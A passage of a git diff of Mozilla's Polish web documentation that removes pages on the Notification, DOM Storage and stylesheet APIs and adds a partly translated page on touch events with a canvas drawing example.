Określa czy powiadomienie powinno być trudniejsze do usunięcia przez użytkownika, klejące 'sticky'.
-
{{domxref("Notification.vibrate")}} {{readonlyinline}}
-
Określa wibrację urządzenia do emisji przez urządzenie.
-
- -

Obsługa zdarzeń

- -
-
{{domxref("Notification.onclick")}}
-
Obsługa dla zdarzenia {{event("click")}}.Odpalane przy każdym kliknięciu powiadomienia.
-
{{domxref("Notification.onerror")}}
-
Obsługa dla zdarzenia {{event("error")}}.Odpalane przy każdym razie kiedy powiadomienie będzie napotykało błąd.
-
- -

Przestarzała obsługa

- -

Pokazana obsługa zdarzeń jest nadal wspierana w  sekcji poniższej {{anch("browser compatibility")}},ale nie pokazane w obecnej specyfikacji. I w związku z tym, aby bezpiecznie założyć, że są przestarzałe mogą przestać działać w przyszłych wersjach przeglądarek.

- -
-
{{domxref("Notification.onclose")}}
-
Obsługa zdażenia {{event("close")}}. Zamyka powiadomienie.
-
{{domxref("Notification.onshow")}}
-
Obsługa zdażenia {{event("show")}}.Pokazuje gdy powiadomienie jest pokazywane.
-
- -

Metoda

- -

Statyczna metoda

- -

Te metody są dostępne tylko dla obiektu powiadomień.

- -
-
{{domxref("Notification.requestPermission()")}}
-
Requests permission from the user to display notifications.
-
- -

Metoda instacji

- -

Te cechy są dostępne tylko dla obiektu powiadomień albo to prototype. Obiekt powiadomień pobiera to z interfejsu {{domxref("EventTarget")}}.

- -
-
{{domxref("Notification.close()")}}
-
Programowo zamyka powiadomienie.
-
- -

Przykład

- -

W podstawowtym HTMLu:

- -
<button onclick="notifyMe()">Pokaż Powiadomienie!</button>
- -

Jest to możliwe aby wysłać powiadomienie - tutaj pokazujemy jak łatwo i w kompletnym składzie kodu zobaczyć czy powiadomienia są wspierane,potem sprawdzić uprawnienia czy zostały nadane dla obecnego dźwięku powiadomień, potem sprawdź uprawnienia jeżeli potrzebne,przed wysłaniem powiadomienia. 

- -
function notifyMe() {
-  // Sprawdzamy czy przeglądarka obsługuje powiadomienia.
-  if (!("Notification" in window)) {
-    alert("Ta przeglądarka nie obsługuje powiadomień");
-  }
-
-  // Sprawdźmy czy uprawnienia dla powiadomienia zostały nadane
-  else if (Notification.permission === "granted") {
-    // jeżeli są tworzymy powiadomienie
-    var notification = new Notification("Hi there!");
-  }
-
-  // W innym przypadku tworzymy zapytanie o uprawnienia
-  else if (Notification.permission !== 'denied') {
-    Notification.requestPermission(function (permission) {
-      //Jeżeli użytkownik zaakceptuje tworzymy powiadomienie
-      if (permission === "granted") {
-        var notification = new Notification("Hi there!");
-      }
-    });
-  }
-
-  // Na koniec, jeżeli użytkownik odmówił powiadomień i chcesz szanować go
-  // nie ma potrzeby dręczyć go zapytaniami
-}
- -

{{EmbedLiveSample('Przyk%C5%82ad', '100%', 30)}}

- -

W wielu przypadkach, nie potrzebujesz tworzyć nowych form. Dla przykładu, w naszym Emogotchi demo (see source code), Prosto odpalamy {{domxref("Notification.requestPermission")}} aby sprawdzać czy możemy dostać uprawnienia do wysyłania powiadomień: 

- -
Notification.requestPermission();
- -

Potem odpalamy funkcje spawnNotification() kiedy chcemy odpalić powiadomienie — to jest przekazywane do argumentu opisanego tekstu,ikony i tytułu który chcemy, potem tworzy konieczne opcje obiektu i odpala powiadomienie używając konstruktora {{domxref("Notification.Notification","Notification()")}}.

- -
function spawnNotification(theBody,theIcon,theTitle) {
-  var options = {
-      body: theBody,
-      icon: theIcon
-  }
-  var n = new Notification(theTitle,options);
-}
- -

Specifikacja

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Living standard
- -

Kompatybilność Przeglądarek

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Podstawowa usługa5{{property_prefix("webkit")}}[1]
- 22
4.0 {{property_prefix("moz")}}[2]
- 22
{{CompatNo}}256[3]
ikona5{{property_prefix("webkit")}}[1]
- 22
4.0 {{property_prefix("moz")}}[2]
- 22
{{CompatNo}}25{{CompatNo}}
Available in workers{{CompatUnknown}}{{CompatGeckoDesktop("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
silent{{CompatChrome(43.0)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
noscreen, renotify, sound, sticky{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}} -

{{CompatVersionUnknown}}

-
4.0{{property_prefix("moz")}}[2]
- 22
1.0.1{{property_prefix("moz")}}[2]
- 1.2
{{CompatNo}}{{CompatUnknown}}{{CompatNo}} -

{{CompatVersionUnknown}}

-
icon{{CompatUnknown}}{{CompatVersionUnknown}}4.0{{property_prefix("moz")}}[2]
- 22
1.0.1{{property_prefix("moz")}}[2]
- 1.2
{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}
Available in workers{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("41.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
silent{{CompatNo}}{{CompatChrome(43.0)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(43.0)}}
noscreen, renotify, sound, sticky{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Before Chrome 22, the support for notification followed an old prefixed version of the specification and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification.

- -

Before Chrome 32, {{domxref("Notification.permission")}} was not supported.

- -

Before Chrome 42, service worker additions were not supported.

- -

[2] Prior to Firefox 22 (Firefox OS <1.2), the instantiation of a new notification must be done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its createNotification method.

- -

Prior to Firefox 22 (Firefox OS <1.2), the Notification was displayed when calling the show method and supported only the click and close events.

- -

Nick Desaulniers wrote a Notification shim to cover both newer and older implementations.

- -

One particular Firefox OS issue is that you can pass a path to an icon to use in the notification, but if the app is packaged you cannot use a relative path like /my_icon.png. You also can't use window.location.origin + "/my_icon.png" because window.location.origin is null in packaged apps. The manifest origin field fixes this, but it is only available in Firefox OS 1.1+. A potential solution for supporting Firefox OS <1.1 is to pass an absolute URL to an externally hosted version of the icon. This is less than ideal as the notification is displayed immediately without the icon, then the icon is fetched, but it works on all versions of Firefox OS.

- -

When using notifications  in a Firefox OS app, be sure to add the desktop-notification permission in your manifest file. Notifications can be used at any permission level, hosted or above: "permissions": { "desktop-notification": {} }

- -

[3] Safari zaczeło wspierać powiadomienia z wersją Safari 6,ale tylko od Mac OSX 10.8+(Mountain Lion).

- -

Zobacz Także

- - diff --git a/files/pl/web/api/storage/index.html b/files/pl/web/api/storage/index.html deleted file mode 100644 index 238b10d4d7..0000000000 --- a/files/pl/web/api/storage/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: Storage -slug: Web/API/Storage -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - JavaScript - - Wszystkie_kategorie -translation_of: Web/API/Web_Storage_API -translation_of_original: Web/Guide/API/DOM/Storage ---- -

{{ ApiRef() }}

- -

Podsumowanie

- -

Magazyn DOM (DOM Storage) jest nazwą określającą zestaw aspektów magazynowania danych wprowadzonych w specyfikacji Web Applications 1.0. Magazyn DOM jest zaprojektowany, by dostarczyć większą, bezpieczniejszą i prostszą do użycia, alternatywę przechowywania informacji w ciasteczkach. Jest obecnie dostępny tylko w przeglądarkach bazujących na Mozilli, zwłaszcza zaczynając od Firefoksa 2.

- -
Uwaga: Magazyn DOM nie jest tym samym co mozStorage (interfejsy XPCOM Mozilli do SQLite) czy API przechowywania sesji (użyteczność magazynu XPCOM do użycia przez rozszerzenia).
- -

Opis

- -

Mechanizm Magazynu DOM w głównej mierze polega na bezpiecznym przechowywaniu par kluczy i wartości możliwych do późniejszego odtworzenia. Celem tego dodatku jest dostarczenie wszechstronnego środka, dzięki któremu mogą być budowane w pełni interaktywne aplikacje (włączając w to zaawansowane cechy, takie jak możliwość pracowania bez dostępu do sieci nawet przez dłuższe okresy czasu).

- -

Obecnie tylko przeglądarki bazujące na Mozilli dostarczają działającą implementację specyfikacji Magazynu DOM. Jednakże, Internet Explorer posiada podobną funkcję nazwaną "zachowaniem danych użytkownika" (userData behavior), które pozwala na przechowanie danych pomiędzy wieloma sesjami przeglądarki.

- -

Magazyn DOM jest użyteczny, ponieważ nie istnieje żadna dobra metoda przechowywania przez przeglądarkę sensownej pojemności danych przez dowolny okres czasu. Ciasteczka HTTP mają ograniczoną pojemność i nie dostarczają żadnego wsparcia dla organizowania przechowywanych danych oraz innych metod (takich jak Lokalny magazyn Flash (Flash Local Storage)), które do działania wymagają dodatkowych wtyczek.

- -

Jedną z pierwszych aplikacji, które zaczęły używać nowej funkcjonalności Magazynu DOM (w dodatku do "zachowania danych użytkownika" Internet Explorer) było halfnote (aplikacja zarządzająca notatkami) napisana przez Aarona Boodmana. W swoim programie, Aaron jednocześnie zapisywał swoje notatki na serwer (kiedy jego połączenie Internetowe było aktywne) i dysk lokalny. To pozwala użytkownikowi na bezpieczne zapisywanie notatek, nawet ze sporadyczną aktywnością połączenia z Internetem.

- -

Pomimo, że koncept oraz implementacja zaprezentowana w programie halfnote była stosunkowo prosta, jego powstanie wskazuje na możliwość tworzenia nowego typu aplikacji internetowych, użytecznych i działających zarówno z aktywnym połączeniem Internetowym, jak i bez niego.

- -

Odnośniki

- -

Poniższe elementy są obiektami globalnymi, które istnieją jako własności każdego okna DOM. Znaczy to, że są one dostępne jako własności sessionStorage lub window.sessionStorage (jest to ważne, ponieważ możliwe dzięki temu jest użycie ramek do przechowania i dostępu do dodatkowych danych, po za tym, co automatycznie jest dostępne na stronie).

- -

sessionStorage

- -

Jest to globalny obiekt, który zajmuje się przechowywaniem danych, które mają być dostępne na czas trwania sesji strony. Trwa ona tak długo, dopóki otwarte jest okno przeglądarki, które można przeładowywać i odświeżać. Otwarcie strony w nowej karcie bądź oknie, powoduje stworzenie nowej sesji.

- -
// Zapisywanie danych do pamięci aktualnej sesji
-sessionStorage.username = "John";
-
-// Odtwarzanie wcześniej zapisanych danych
-alert( "username = " + sessionStorage.username );
-
- -

Obiekt sessionStorage jest najbardziej pomocny przy przechowywaniu tymczasowych danych, które powinny być zapisane i chronione przez utraceniem w razie przypadkowego przeładowania strony.

- -
Uwaga: Obiekt sessionStorage powinien również być w stanie przechowywać i odtwarzać dane po przypadkowym zawieszeniu się przeglądarki, jednak przez {{ Bug(339445) }} ta funkcjonalność w Firefox jeszcze nie działa.
- -

Przykłady:

- -

Automatycznie zapisuje treści pól tekstowych, by w razie przypadkowego odświeżenia strony, odtworzyć treści tych pól, by nie stracić danych już wprowadzonych.

- -
 // Pobranie pola tekstowego, który zamierzamy śledzić.
- var field = document.getElementById("field");
-
- // Sprawdzenie, czy mamy zapisaną już wcześniej wartość
- // (stanie się to tylko wtedy, gdy strona została przeładowana)
- if ( sessionStorage.autosave ) {
-     // Odtworzenie wartości pola tekstowego
-     field.value = sessionStorage.autosave;
- }
-
- // Sprawdzanie wartości pola tekstowego co 1 sekundę
- setInterval(function(){
-     // Oraz zapisanie jej do obiektu sesji
-     sessionStorage.autosave = field.value;
- }, 1000);
-
- -

Więcej informacji:

- - - -

globalStorage

- -

Jest to globalny obiekt, który utrzymuje wiele przestrzeni publicznych oraz prywatnych, które mogą być użyte do przechowywania danych przez dłuższy okres czasu (np. przez kilka stron czy sesji przeglądarki).

- -
// Zapisanie danych, które będzie można odtworzyć tylko z domeny mozilla.org
-globalStorage['mozilla.org'].snippet = "<b>Cześć</b>, jak się masz?";
-
-// Zapisanie danych, które możliwe będą do otworzenia przez dowolną stronę czy domenę
-globalStorage[''].favBrowser = "Firefox";
-
- -

Dokładniej mówiąc, obiekt globalStorage daje nam dostęp do wielu różnych magazynów obiektów, do których można przypisywać dane. Dla przykładu, jeśli chcielibyśmy stworzyć stronę internetową, która używałaby obiektu globalStorage w tej domenie (developer.mozilla.org) mielibyśmy takie obiekty magazynów nam dostępne:

- - - -

Przykłady:

- -

Wszystkie te przykłady wymagają dołączenia kodu na wszystkich stronach, na których chcemy zaobserwować efekt.

- -

Zapamiętywanie nazwy użytkownika dla konkretnej subdomeny, która została odwiedzona:

- -
 globalStorage['developer.mozilla.org'].username = "John";
-
- -

Zliczenie każdej wizyty użytkownika na każdej ze stron w danej domenie:

- -
 // musi zostać użyte parseInt, ponieważ wszystkie przechowywane dane są jako ciągi znakowe
- globalStorage['mozilla.org'].visits =
-     parseInt( globalStorage['mozilla.org'].visits || 0 ) + 1;
-
- -

Zapamiętywanie adresów wszystkich stron, które odwiedzasz:

- -
 globalStorage[''].sites += "," + location.hostname;
-
- -

Więcej informacji:

- - - -

Więcej informacji:

- - - -

Przykłady

- - - -

Tematy powiązane

- - - -

 

- -

 

- -
 
- -

{{ languages( { "en": "en/DOM/Storage", "es": "es/DOM/Almacenamiento", "fr": "fr/DOM/Storage", "ja": "ja/DOM/Storage", "zh-cn": "cn/DOM/Storage" } ) }}

diff --git a/files/pl/web/api/stylesheet/cssrules/index.html b/files/pl/web/api/stylesheet/cssrules/index.html deleted file mode 100644 index d3fabad79a..0000000000 --- a/files/pl/web/api/stylesheet/cssrules/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: stylesheet.cssRules -slug: Web/API/Stylesheet/cssRules -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/CSSRuleList ---- -

{{ ApiRef() }}

- -

Podsumowanie

- -

Zwraca wszystkie reguły/zasady CSS w arkuszu stylów jako {{domxref("CSSRuleList")}}, tablico-podobny obiekt.

- -

Składnia

- -
rules = stylesheet.cssRules
-
- -

rules jest tablicą {{domxref("CSSRuleList")}} indywidualnych obiektów cssRule. Pojedynczy obiekt cssRule może odwołać się do jednego z następujących obiektów:

- - - -

Przykład

- -
// pobiera pierwszą zasadę
-first_rule = document.styleSheets[0].cssRules[0];
-
- -

Uwagi

- -

Zobacz obiekt DOM {{domxref("cssRule")}}.

- -

Specyfikacja

- -

DOM Level 2 Style: CSSStyleSheet.cssRules

diff --git a/files/pl/web/api/stylesheet/deleterule/index.html b/files/pl/web/api/stylesheet/deleterule/index.html deleted file mode 100644 index bda06f24b4..0000000000 --- a/files/pl/web/api/stylesheet/deleterule/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: stylesheet.deleteRule -slug: Web/API/Stylesheet/deleteRule -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/CSSStyleSheet/deleteRule ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Metoda deleteRule usuwa regułę stylu bieżącego obiektu arkusza stylów.

-

Składnia

-
stylesheet.deleteRule(index)
-
-

Parametry

- -

Przykład

-
 myStyles.deleteRule(0);
-
-

Specyfikacja

-

deleteRule

-

{{ languages( { "en": "en/DOM/stylesheet.deleteRule" } ) }}

diff --git a/files/pl/web/api/stylesheet/index.html b/files/pl/web/api/stylesheet/index.html deleted file mode 100644 index dca62c79ee..0000000000 --- a/files/pl/web/api/stylesheet/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Stylesheet -slug: Web/API/Stylesheet -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/CSSStyleSheet ---- -

{{ ApiRef() }}

- -

Ten dział opisuje obiekt CSSStyleSheet, który opisuje pojedynczy arkusz stylów css.

- -

Arkusz stylów CSS składa się z reguł CSS, każda z nich może być manipulowana bezpośrednio przez obiekt CSSRule. Obiekt arkusza stylów pozwala ci kontrolować i modyfikować arkusze stylów,włączając jego listę reguł.

- -

Możesz pobrać listę arkuszy stylów dla bieżącego dokumentu używając własności document.styleSheets.

- -

Własności

- -
-
stylesheet.cssRules
-
Zwraca wszystkie reguły/zasady CSS w arkuszu stylów jako tablicę.
-
stylesheet.disabled
-
Ta własność sygnalizuje, czy bieżący arkusz stylów jest używany lub nie.
-
stylesheet.href
-
Zwraca położenie zewnętrznego arkusza stylów.
-
stylesheet.media
-
SpeObiekt media określa zamierzony nośnik docelowy dla stylu informacji.
-
stylesheet.ownerNode
-
Zwraca węzeł łączący arkusz stylów z dokumentem.
-
stylesheet.ownerRule
-
Jeżeli arkusz stylów pochodzi z reguły @import, własność ownerRule będzie zawierać CSSImportRule.
-
stylesheet.parentStyleSheet
-
Zwraca arkusz stylów, który włącza obecny arkusz (jeśli istnieje).
-
stylesheet.title
-
Zwraca doradczy tytuł bieżącego arkusza stylów.
-
stylesheet.type
-
Określa język arkusza stylów dla tego arkusza stylów.
-
- -

Metody

- -
-
stylesheet.deleteRule
-
Usuwa reguły z arkusza stylów.
-
stylesheet.insertRule
-
Umieszcza nową regułę stylu dla bieżącego arkusza stylów.
-
- -

Specyfikacja

- -

DOM Level 2 Style Sheets: StyleSheet

- -

DOM Level 2 CSS: CSSStyleSheet

- -

{{ languages( { "en": "en/DOM/stylesheet" } ) }}

diff --git a/files/pl/web/api/stylesheet/insertrule/index.html b/files/pl/web/api/stylesheet/insertrule/index.html deleted file mode 100644 index eeabdc8a31..0000000000 --- a/files/pl/web/api/stylesheet/insertrule/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: stylesheet.insertRule -slug: Web/API/Stylesheet/insertRule -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/API/CSSStyleSheet/insertRule ---- -

{{APIRef("CSSOM")}}

- -

Podsumowanie

- -

Metoda insertRule dodaje nową regułę stylu do aktualnego arkuszu stylu.

- -

Składnia

- -
stylesheet.insertRule(rule, index)
-
- -

Parametry

- - - -

Przykład

- -
 // push a new rule onto the top of my stylesheet
- myStyle.insertRule("#blanc { color: white }", 0);
-
- -

Uwagi

- -

For rule sets this contains both the selector and the style declaration. For at-rules, this specifies both the at-identifier and the rule content.

- -

Specyfikacja

- -

insertRule 

diff --git a/files/pl/web/api/stylesheet/ownerrule/index.html b/files/pl/web/api/stylesheet/ownerrule/index.html deleted file mode 100644 index 93d73c35c5..0000000000 --- a/files/pl/web/api/stylesheet/ownerrule/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: stylesheet.ownerRule -slug: Web/API/Stylesheet/ownerRule -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Jeżeli arkusz stylów pochodzi z reguły @import, własność ownerRule będzie zawierać regułę CSSImportRule.

-

Składnia

-
rule = stylesheet.ownerRule
-
-

Parametry

- -

Uwagi

-

Zauważ, że jeżeli wartość własności ownerNode bieżącego elementu STYLE wynosi NULL, wówczas reguła ownerRule zwróci !!TODO!!. I odwrotnie.

-

Specyfikacja

-

ownerRule

-

{{ languages( { "en": "en/DOM/stylesheet.ownerRule" } ) }}

diff --git a/files/pl/web/api/touch_events/index.html b/files/pl/web/api/touch_events/index.html new file mode 100644 index 0000000000..4d49e9b5b5 --- /dev/null +++ b/files/pl/web/api/touch_events/index.html @@ -0,0 +1,336 @@ +--- +title: Zdarzenia dotykowe +slug: Web/API/Zdarzenia_dotykowe +translation_of: Web/API/Touch_events +--- +
{{DefaultAPISidebar("Touch Events")}}
+ +

W celu zapewnienia wsparcia dla dotykowych interfejsów użytkownika, zdarzenia dotykowe oferują możliwość interpretowania aktywności palca (lub rysika) na ekranach i gładzikach.

+ +

Interfejsy zdarzeń dotykowych to stounkowo niskopoziomowe API, które mogą być użyte do specyficznych dla aplikacji wielodotykowych interakcji takich jak gesty wykonywane dwoma palcami. Interakcja wielodotykowa zaczyna się, kiedy palec (lub rysik) dotyka powierzchni ekranu lub gładzika. Pozostałe palce mogą dotknąć powierzhni później i, opcjonalnie, poruszać się po powierzchni dotykowej. Interakcja kończy się, gdy palce są zabrane z powierzchni ekranu lub gładzika. W czasie trwania interakcji, aplikacja odbiera zdarzenia dotykowe podczas faz startu, ruchu i zakończenia tejże interakcji.

+ +

Zdarzenia dotykowe są podobne do zdarzeń myszki, z tą różnicą, że pozwalają na jednoczesne dotknięcia w różnych miejscach na ekranie. Interfejs {{domxref("TouchEvent")}} hermetyzuje wszystkie punkty dotyku aktywne w danym momencie. Interfejs {{domxref("Touch")}}, który reprezentuje pojedynczy punkt dotyku, zawiera informacje takie jak pozycja punktu dotyku w stosunku do widoku okna przeglądarki.

+ +

Definicje

+ +
+
Powierzchnia
+
Powierzchnia dotykowa. Może to być ekran lub gładzik.
+
+ +
+
Punkt dotyku
+
Punkt kontaktu z powierzchnią. Może to być palec (lub łokieć, ucho, nos, cokolwiek, ale najczęściej jednak palec) lub rysik.
+
+ +

Interfejsy

+ +
+
{{domxref("TouchEvent")}}
+
Reprezentuje zdarzenie, które zachodzi, gdy stan dotknięć powierzchni się zmienia.
+
{{domxref("Touch")}}
+
Reprezentuje pojedynczy punkt kontaktu między użytkownikiem a powierzchnią dotykową.
+
{{domxref("TouchList")}}
+
Reprezentuje grupę dotknięć; jest używany, gdy na przykład użytkownik dotyka powierzchni wieloma palcami jednocześnie.
+
+ +

Przykład

+ +

Poniższy przykład śledzi wiele dotknięć w jednym czasie, pozwalając użytkownikowi na rysowanie w elemencie {{HTMLElement("canvas")}} przy użyciu więcej niż jednego palca jednocześnie. Kod ten będzie działać jedynie w przeglądarkach wspierających zdarzenia dotykowe.

+ +
Uwaga: W niniejszym tekście słowo „palec” używane jest do opisania kontaktu z powierzchnią dotykową, ale może to być oczywiście także rysik lub dowolna inna metoda dotykania ekranu.
+ +

Stwórz kanwę

+ +
<canvas id="canvas" width="600" height="600" style="border:solid black 1px;">
+  Twoja przeglądarka nie wspiera elementu kanwa (canvas).
+</canvas>
+<br>
+<button onclick="startup()">Initialize</button>
+<br>
+Log: <pre id="log" style="border: 1px solid #ccc;"></pre>
+
+ +

Ustawianie funkcji do obsługi zdarzeń

+ +

Kiedy strona się ładuje, pokazana niżej funkcja startup() powinna być wywołana przez atrybut onload naszego elementu {{HTMLElement("body")}} (choć w przykładzie używamy przycisku do jej uruchomienia, ze względu na ograniczenia systemu przykłądów w MDN).

+ +
function startup() {
+  var el = document.getElementsByTagName("canvas")[0];
+  el.addEventListener("touchstart", handleStart, false);
+  el.addEventListener("touchend", handleEnd, false);
+  el.addEventListener("touchcancel", handleCancel, false);
+  el.addEventListener("touchmove", handleMove, false);
+  console.log("initialized.");
+}
+
+ +

Funkcja ta po prostu ustawia nasłluchiwanie zdarzeń dla naszego elementu {{HTMLElement("canvas")}}, tak że możemy obsłużyć zdarzenia dotykowe, kiedy się pojawią.

+ +

Śledzenie nowych zdarzeń

+ +

We'll keep track of the touches in-progress.

+ +
var ongoingTouches = [];
+
+ +

When a {{event("touchstart")}} event occurs, indicating that a new touch on the surface has occurred, the handleStart() function below is called.

+ +
function handleStart(evt) {
+  evt.preventDefault();
+  console.log("touchstart.");
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i < touches.length; i++) {
+    console.log("touchstart:" + i + "...");
+    ongoingTouches.push(copyTouch(touches[i]));
+    var color = colorForTouch(touches[i]);
+    ctx.beginPath();
+    ctx.arc(touches[i].pageX, touches[i].pageY, 4, 0, 2 * Math.PI, false);  // a circle at the start
+    ctx.fillStyle = color;
+    ctx.fill();
+    console.log("touchstart:" + i + ".");
+  }
+}
+
+ +

This calls {{domxref("event.preventDefault()")}} to keep the browser from continuing to process the touch event (this also prevents a mouse event from also being delivered). Then we get the context and pull the list of changed touch points out of the event's {{domxref("TouchEvent.changedTouches")}} property.

+ +

After that, we iterate over all the {{domxref("Touch")}} objects in the list, pushing them onto an array of active touch points and drawing the start point for the draw as a small circle; we're using a 4-pixel wide line, so a 4 pixel radius circle will show up neatly.

+ +

Drawing as the touches move

+ +

Each time one or more fingers moves, a {{event("touchmove")}} event is delivered, resulting in our handleMove() function being called. Its responsibility in this example is to update the cached touch information and to draw a line from the previous position to the current position of each touch.

+ +
function handleMove(evt) {
+  evt.preventDefault();
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i < touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx >= 0) {
+      console.log("continuing touch "+idx);
+      ctx.beginPath();
+      console.log("ctx.moveTo(" + ongoingTouches[idx].pageX + ", " + ongoingTouches[idx].pageY + ");");
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      console.log("ctx.lineTo(" + touches[i].pageX + ", " + touches[i].pageY + ");");
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.lineWidth = 4;
+      ctx.strokeStyle = color;
+      ctx.stroke();
+
+      ongoingTouches.splice(idx, 1, copyTouch(touches[i]));  // swap in the new touch record
+      console.log(".");
+    } else {
+      console.log("can't figure out which touch to continue");
+    }
+  }
+}
+
+ +

This iterates over the changed touches as well, but it looks in our cached touch information array for the previous information about each touch in order to determine the starting point for each touch's new line segment to be drawn. This is done by looking at each touch's {{domxref("Touch.identifier")}} property. This property is a unique integer for each touch, and remains consistent for each event during the duration of each finger's contact with the surface.

+ +

This lets us get the coordinates of the previous position of each touch and use the appropriate context methods to draw a line segment joining the two positions together.

+ +

After drawing the line, we call Array.splice() to replace the previous information about the touch point with the current information in the ongoingTouches array.

+ +

Handling the end of a touch

+ +

When the user lifts a finger off the surface, a {{event("touchend")}} event is sent. We handle this by calling the handleEnd() function below. Its job is to draw the last line segment for each touch that ended and remove the touch point from the ongoing touch list.

+ +
function handleEnd(evt) {
+  evt.preventDefault();
+  log("touchend");
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i < touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx >= 0) {
+      ctx.lineWidth = 4;
+      ctx.fillStyle = color;
+      ctx.beginPath();
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.fillRect(touches[i].pageX - 4, touches[i].pageY - 4, 8, 8);  // and a square at the end
+      ongoingTouches.splice(idx, 1);  // remove it; we're done
+    } else {
+      console.log("can't figure out which touch to end");
+    }
+  }
+}
+
+ +

This is very similar to the previous function; the only real differences are that we draw a small square to mark the end and that when we call Array.splice(), we simply remove the old entry from the ongoing touch list, without adding in the updated information. The result is that we stop tracking that touch point.

+ +

Handling canceled touches

+ +

If the user's finger wanders into browser UI, or the touch otherwise needs to be canceled, the {{event("touchcancel")}} event is sent, and we call the handleCancel() function below.

+ +
function handleCancel(evt) {
+  evt.preventDefault();
+  console.log("touchcancel.");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i < touches.length; i++) {
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+    ongoingTouches.splice(idx, 1);  // remove it; we're done
+  }
+}
+
+ +

Since the idea is to immediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment.

+ +

Convenience functions

+ +

This example uses two convenience functions that should be looked at briefly to help make the rest of the code more clear.

+ +

Selecting a color for each touch

+ +

In order to make each touch's drawing look different, the colorForTouch() function is used to pick a color based on the touch's unique identifier. This identifier is an opaque number, but we can at least rely on it differing between the currently-active touches.

+ +
function colorForTouch(touch) {
+  var r = touch.identifier % 16;
+  var g = Math.floor(touch.identifier / 3) % 16;
+  var b = Math.floor(touch.identifier / 7) % 16;
+  r = r.toString(16); // make it a hex digit
+  g = g.toString(16); // make it a hex digit
+  b = b.toString(16); // make it a hex digit
+  var color = "#" + r + g + b;
+  console.log("color for touch with identifier " + touch.identifier + " = " + color);
+  return color;
+}
+
+ +

The result from this function is a string that can be used when calling {{HTMLElement("canvas")}} functions to set drawing colors. For example, for a {{domxref("Touch.identifier")}} value of 10, the resulting string is "#a31".

+ +

Copying a touch object

+ +

Some browsers (mobile Safari, for one) re-use touch objects between events, so it's best to copy the bits you care about, rather than referencing the entire object.

+ +
function copyTouch(touch) {
+  return { identifier: touch.identifier, pageX: touch.pageX, pageY: touch.pageY };
+}
+ +

Finding an ongoing touch

+ +

The ongoingTouchIndexById() function below scans through the ongoingTouches array to find the touch matching the given identifier, then returns that touch's index into the array.

+ +
function ongoingTouchIndexById(idToFind) {
+  for (var i = 0; i < ongoingTouches.length; i++) {
+    var id = ongoingTouches[i].identifier;
+
+    if (id == idToFind) {
+      return i;
+    }
+  }
+  return -1;    // not found
+}
+
+ +

Showing what's going on

+ +
function log(msg) {
+  var p = document.getElementById('log');
+  p.innerHTML = msg + "\n" + p.innerHTML;
+}
+ +

If your browser supports it, you can {{LiveSampleLink('Example', 'see it live')}}.

+ +

jsFiddle example

+ +

Dodatkowe wskazówki

+ +

This section provides additional tips on how to handle touch events in your web application.

+ +

Obsługa kliknięć

+ +

